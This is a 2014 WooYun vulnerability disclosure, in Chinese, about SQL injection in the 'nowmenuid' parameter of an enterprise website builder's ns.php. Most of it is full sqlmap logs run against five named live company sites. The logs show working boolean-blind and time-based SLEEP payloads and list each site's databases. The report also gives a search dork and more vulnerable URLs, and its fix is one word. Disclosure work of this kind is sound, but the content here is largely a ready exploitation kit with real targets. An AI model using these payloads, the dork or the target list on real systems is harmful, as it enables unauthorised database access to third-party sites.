当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069942

漏洞标题:某企业建站系统一处sql注入漏洞

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-07-28 12:19

修复时间:2014-10-26 12:20

公开时间:2014-10-26 12:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-07-28: 厂商已经确认,细节仅向厂商公开
2014-07-31: 细节向第三方安全合作伙伴开放
2014-09-21: 细节向核心白帽子及相关领域专家公开
2014-10-01: 细节向普通白帽子公开
2014-10-11: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

rt

详细说明:

刷啊刷
无意间分析命令执行发现的。
关键词

inurl:ns.php?cl=ns


搜索出来的结果后面加个单引号就报错了,你懂的。

注入地址:http://www.achang8.com/ns.php?cl=ns&nowmenuid=10012158
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:28:40
[23:28:41] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.achang8.com\session' as session file
[23:28:41] [INFO] testing connection to the target url
[23:28:42] [INFO] testing if the url is stable, wait a few seconds
[23:28:46] [INFO] url is stable
[23:28:46] [INFO] testing if GET parameter 'cl' is dynamic
[23:28:48] [WARNING] GET parameter 'cl' appears to be not dynamic
[23:28:49] [WARNING] heuristic test shows that GET parameter 'cl' might not be i
njectable
[23:28:49] [INFO] testing sql injection on GET parameter 'cl'
[23:28:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:29:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:29:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:29:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:29:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:29:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:29:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:29:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:30:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:30:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:30:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:30:22] [INFO] testing 'Oracle AND time-based blind'
[23:30:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:31:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:31:45] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:33:19] [WARNING] GET parameter 'cl' is not injectable
[23:33:19] [INFO] testing if GET parameter 'nowmenuid' is dynamic
[23:33:20] [INFO] confirming that GET parameter 'nowmenuid' is dynamic
[23:33:20] [WARNING] GET parameter 'nowmenuid' appears to be not dynamic
[23:33:20] [WARNING] heuristic test shows that GET parameter 'nowmenuid' might n
ot be injectable
[23:33:20] [INFO] testing sql injection on GET parameter 'nowmenuid'
[23:33:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:33:36] [INFO] GET parameter 'nowmenuid' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:33:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:33:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:33:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:33:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:33:37] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:33:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:33:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:33:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:33:58] [INFO] GET parameter 'nowmenuid' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[23:33:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:34:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'nowmenuid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 197 HTTP(s) req
uests:
---
Place: GET
Parameter: nowmenuid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=ns&nowmenuid=10012158' AND 7743=7743 AND 'fvpm'='fvpm
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=ns&nowmenuid=10012158' AND SLEEP(5) AND 'rYIs'='rYIs
---
[23:34:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[23:34:39] [INFO] fetching database names
[23:34:39] [INFO] fetching number of databases
[23:34:39] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:34:39] [INFO] retrieved: 2
[23:34:45] [INFO] retrieved: information_schema
[23:37:45] [INFO] retrieved: achang8com
available databases [2]:
[*] achang8com
[*] information_schema
[23:39:37] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.achang8.com'
[*] shutting down at 23:39:37


注入地址:http://www.obdsos.com/ns.php?cl=ns&nowmenuid=10059960
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:36:37
[23:36:37] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.obdsos.com\session' as session file
[23:36:37] [INFO] testing connection to the target url
[23:36:39] [INFO] testing if the url is stable, wait a few seconds
[23:36:41] [INFO] url is stable
[23:36:41] [INFO] testing if GET parameter 'cl' is dynamic
[23:36:43] [WARNING] GET parameter 'cl' appears to be not dynamic
[23:36:45] [WARNING] heuristic test shows that GET parameter 'cl' might not be i
njectable
[23:36:45] [INFO] testing sql injection on GET parameter 'cl'
[23:36:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:37:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:37:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:37:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:37:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:37:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:37:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:37:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:37:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:37:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:37:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:38:02] [INFO] testing 'Oracle AND time-based blind'
[23:38:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:39:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:39:27] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:40:45] [WARNING] GET parameter 'cl' is not injectable
[23:40:45] [INFO] testing if GET parameter 'nowmenuid' is dynamic
[23:40:46] [INFO] heuristics detected web page charset 'GB2312'
[23:40:46] [INFO] confirming that GET parameter 'nowmenuid' is dynamic
[23:40:46] [WARNING] GET parameter 'nowmenuid' appears to be not dynamic
[23:40:46] [INFO] heuristics detected web page charset 'ascii'
[23:40:46] [WARNING] heuristic test shows that GET parameter 'nowmenuid' might n
ot be injectable
[23:40:46] [INFO] testing sql injection on GET parameter 'nowmenuid'
[23:40:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:40:58] [INFO] GET parameter 'nowmenuid' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:40:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:40:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:40:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:40:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:40:59] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:41:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:41:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:41:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:41:31] [INFO] GET parameter 'nowmenuid' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[23:41:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:41:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'nowmenuid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 198 HTTP(s) req
uests:
---
Place: GET
Parameter: nowmenuid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=ns&nowmenuid=10059960' AND 5105=5105 AND 'dgId'='dgId
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=ns&nowmenuid=10059960' AND SLEEP(5) AND 'jdQU'='jdQU
---
[23:41:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[23:41:54] [INFO] fetching database names
[23:41:54] [INFO] fetching number of databases
[23:41:54] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:41:54] [INFO] retrieved: 3
[23:42:01] [INFO] retrieved: information_schema
[23:45:40] [INFO] retrieved: diy201209
[23:47:09] [INFO] retrieved: test
available databases [3]:
[*] diy201209
[*] information_schema
[*] test
[23:47:59] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.obdsos.com'
[*] shutting down at 23:47:59


注入地址:http://www.devebuild.com/ns.php?cl=ns&nowmenuid=11053609
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:44:31
[23:44:31] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.devebuild.com\session' as session file
[23:44:32] [INFO] testing connection to the target url
[23:44:33] [INFO] testing if the url is stable, wait a few seconds
[23:44:35] [INFO] url is stable
[23:44:35] [INFO] testing if GET parameter 'cl' is dynamic
[23:44:36] [WARNING] GET parameter 'cl' appears to be not dynamic
[23:44:37] [WARNING] heuristic test shows that GET parameter 'cl' might not be i
njectable
[23:44:37] [INFO] testing sql injection on GET parameter 'cl'
[23:44:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:45:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:45:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:45:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:45:37] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[23:45:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:45:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:45:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:45:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:45:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:45:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:46:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:46:16] [INFO] testing 'Oracle AND time-based blind'
[23:46:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:46:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:46:48] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:47:27] [WARNING] GET parameter 'cl' is not injectable
[23:47:27] [INFO] testing if GET parameter 'nowmenuid' is dynamic
[23:47:28] [INFO] heuristics detected web page charset 'GB2312'
[23:47:28] [INFO] confirming that GET parameter 'nowmenuid' is dynamic
[23:47:30] [WARNING] GET parameter 'nowmenuid' appears to be not dynamic
[23:47:30] [INFO] heuristics detected web page charset 'ascii'
[23:47:30] [WARNING] heuristic test shows that GET parameter 'nowmenuid' might n
ot be injectable
[23:47:30] [INFO] testing sql injection on GET parameter 'nowmenuid'
[23:47:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:47:37] [INFO] GET parameter 'nowmenuid' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:47:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:47:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:47:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:47:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:47:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:47:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:47:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:47:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:48:13] [INFO] GET parameter 'nowmenuid' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[23:48:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:48:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'nowmenuid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 197 HTTP(s) req
uests:
---
Place: GET
Parameter: nowmenuid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=ns&nowmenuid=11053609' AND 4897=4897 AND 'cqez'='cqez
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=ns&nowmenuid=11053609' AND SLEEP(5) AND 'FcZr'='FcZr
---
[23:48:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[23:48:42] [INFO] fetching database names
[23:48:42] [INFO] fetching number of databases
[23:48:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:48:42] [INFO] retrieved: 3
[23:48:48] [INFO] retrieved: information_schema
[23:50:55] [INFO] retrieved: diy201209
[23:52:11] [INFO] retrieved: test
available databases [3]:
[*] diy201209
[*] information_schema
[*] test
[23:52:42] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.devebuild.com'
[*] shutting down at 23:52:42


注入地址:http://www.szhrsg.com/ns.php?cl=ns&nowmenuid=10095912
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:44:59
[23:44:59] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.szhrsg.com\session' as session file
[23:44:59] [INFO] testing connection to the target url
[23:45:02] [INFO] testing if the url is stable, wait a few seconds
[23:45:06] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[23:46:52] [INFO] testing if GET parameter 'cl' is dynamic
[23:46:54] [WARNING] GET parameter 'cl' appears to be not dynamic
[23:46:57] [WARNING] heuristic test shows that GET parameter 'cl' might not be i
njectable
[23:46:57] [INFO] testing sql injection on GET parameter 'cl'
[23:46:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:47:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:47:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:47:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:47:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:47:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:48:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:48:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:48:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:48:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:48:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:48:30] [INFO] testing 'Oracle AND time-based blind'
[23:48:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:50:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:50:07] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:51:45] [WARNING] GET parameter 'cl' is not injectable
[23:51:45] [INFO] testing if GET parameter 'nowmenuid' is dynamic
[23:51:45] [INFO] heuristics detected web page charset 'GB2312'
[23:51:45] [INFO] confirming that GET parameter 'nowmenuid' is dynamic
[23:51:47] [WARNING] GET parameter 'nowmenuid' appears to be not dynamic
[23:51:48] [INFO] heuristics detected web page charset 'ascii'
[23:51:48] [WARNING] heuristic test shows that GET parameter 'nowmenuid' might n
ot be injectable
[23:51:48] [INFO] testing sql injection on GET parameter 'nowmenuid'
[23:51:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:52:09] [INFO] GET parameter 'nowmenuid' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:52:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:52:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:52:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:52:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:52:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:52:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:52:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:52:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:52:43] [INFO] GET parameter 'nowmenuid' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[23:52:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:52:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'nowmenuid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 197 HTTP(s) req
uests:
---
Place: GET
Parameter: nowmenuid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=ns&nowmenuid=10095912' AND 1442=1442 AND 'YQFt'='YQFt
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=ns&nowmenuid=10095912' AND SLEEP(5) AND 'mDyS'='mDyS
---
[23:53:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[23:53:02] [INFO] fetching database names
[23:53:02] [INFO] fetching number of databases
[23:53:02] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:53:02] [INFO] retrieved: 3
[23:53:09] [INFO] retrieved: information_schema
[23:56:26] [INFO] retrieved: diy201209
[23:57:48] [INFO] retrieved: test
available databases [3]:
[*] diy201209
[*] information_schema
[*] test
[23:58:22] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.szhrsg.com'
[*] shutting down at 23:58:22


注入地址:http://www.gld-battery.com/ns.php?cl=ns&nowmenuid=7746
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:47:12
[23:47:12] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gld-battery.com\session' as session file
[23:47:13] [INFO] testing connection to the target url
[23:47:15] [INFO] testing if the url is stable, wait a few seconds
[23:47:18] [INFO] url is stable
[23:47:18] [INFO] testing if GET parameter 'cl' is dynamic
[23:47:20] [WARNING] GET parameter 'cl' appears to be not dynamic
[23:47:21] [WARNING] heuristic test shows that GET parameter 'cl' might not be i
njectable
[23:47:21] [INFO] testing sql injection on GET parameter 'cl'
[23:47:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:47:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:47:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:48:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:48:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:48:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:48:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:48:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:48:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:48:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:48:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:48:49] [INFO] testing 'Oracle AND time-based blind'
[23:48:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:50:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:50:23] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:52:10] [WARNING] GET parameter 'cl' is not injectable
[23:52:10] [INFO] testing if GET parameter 'nowmenuid' is dynamic
[23:52:11] [INFO] heuristics detected web page charset 'GB2312'
[23:52:11] [INFO] confirming that GET parameter 'nowmenuid' is dynamic
[23:52:11] [WARNING] GET parameter 'nowmenuid' appears to be not dynamic
[23:52:12] [INFO] heuristics detected web page charset 'ascii'
[23:52:12] [WARNING] heuristic test shows that GET parameter 'nowmenuid' might n
ot be injectable
[23:52:12] [INFO] testing sql injection on GET parameter 'nowmenuid'
[23:52:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:52:29] [INFO] GET parameter 'nowmenuid' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:52:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:52:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:52:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:52:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:52:31] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:52:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:52:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:52:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:53:03] [INFO] GET parameter 'nowmenuid' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[23:53:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:53:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'nowmenuid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 197 HTTP(s) req
uests:
---
Place: GET
Parameter: nowmenuid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=ns&nowmenuid=7746' AND 2072=2072 AND 'IQzQ'='IQzQ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=ns&nowmenuid=7746' AND SLEEP(5) AND 'WgTC'='WgTC
---
[23:53:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[23:53:28] [INFO] fetching database names
[23:53:28] [INFO] fetching number of databases
[23:53:28] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:53:28] [INFO] retrieved: 3
[23:53:52] [INFO] retrieved: information_schema
[23:56:46] [INFO] retrieved: diy201209
[23:58:03] [INFO] retrieved: test
available databases [3]:
[*] diy201209
[*] information_schema
[*] test
[23:58:41] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.gld-battery.com'
[*] shutting down at 23:58:41


http://www.joyliwin.com/ns.php?cl=ns&nowmenuid=10096428%27
http://www.mohuyuce.com/ns.php?cl=ns&catid=42787&nowmenuid=10072300%27
http://www.hm-led.com/ns.php?cl=ns&ppid=&catid=40149&nowmenuid=10053839%27
http://www.hrt-sensor.com/ns.php?cl=ns&nowmenuid=11053912%27
http://www.szztej.com.cn/ns.php?cl=ns&catid=42556&nowmenuid=11052768%27
http://www.bjqk.com/ns.php?cl=ns&catid=2969&nowmenuid=16182%27
.......还有很多就不举例了

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-07-28 16:16

厂商回复:

暂未确认对应的软件生产厂商,测试未涉及政府和重要部门案例,暂未列入处置流程。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-28 13:11 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 @xsser 最近是谁审核漏洞的?为什么老是通不过?案例少都按照你说的举例了,搜索关键词什么都给了

  2. 2014-07-28 14:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Mosuan 最近快很多了 周末会休息 然后三天之内必完

  3. 2014-07-29 11:12 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @xsser 通用型漏洞需要几个例子?我都按照疯狗说的举例了啊,他还说例子少

  4. 2014-08-18 11:53 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @Mosuan 不是很像通用的,最好能找到厂商

  5. 2014-08-18 11:57 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @U神 ok,下次尽量

  6. 2014-08-18 11:58 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @Mosuan 看了一下,的确是通用,案例还是有一些的,只不过有些url中多了一些参数

  7. 2014-08-18 12:02 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @U神 这个案例在乌云中有出现过,不过当时关闭网页了,我当时是在分析命令执行的

  8. 2014-09-20 03:37 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 这个是通用的吧?好像我忘了选择通用软件了。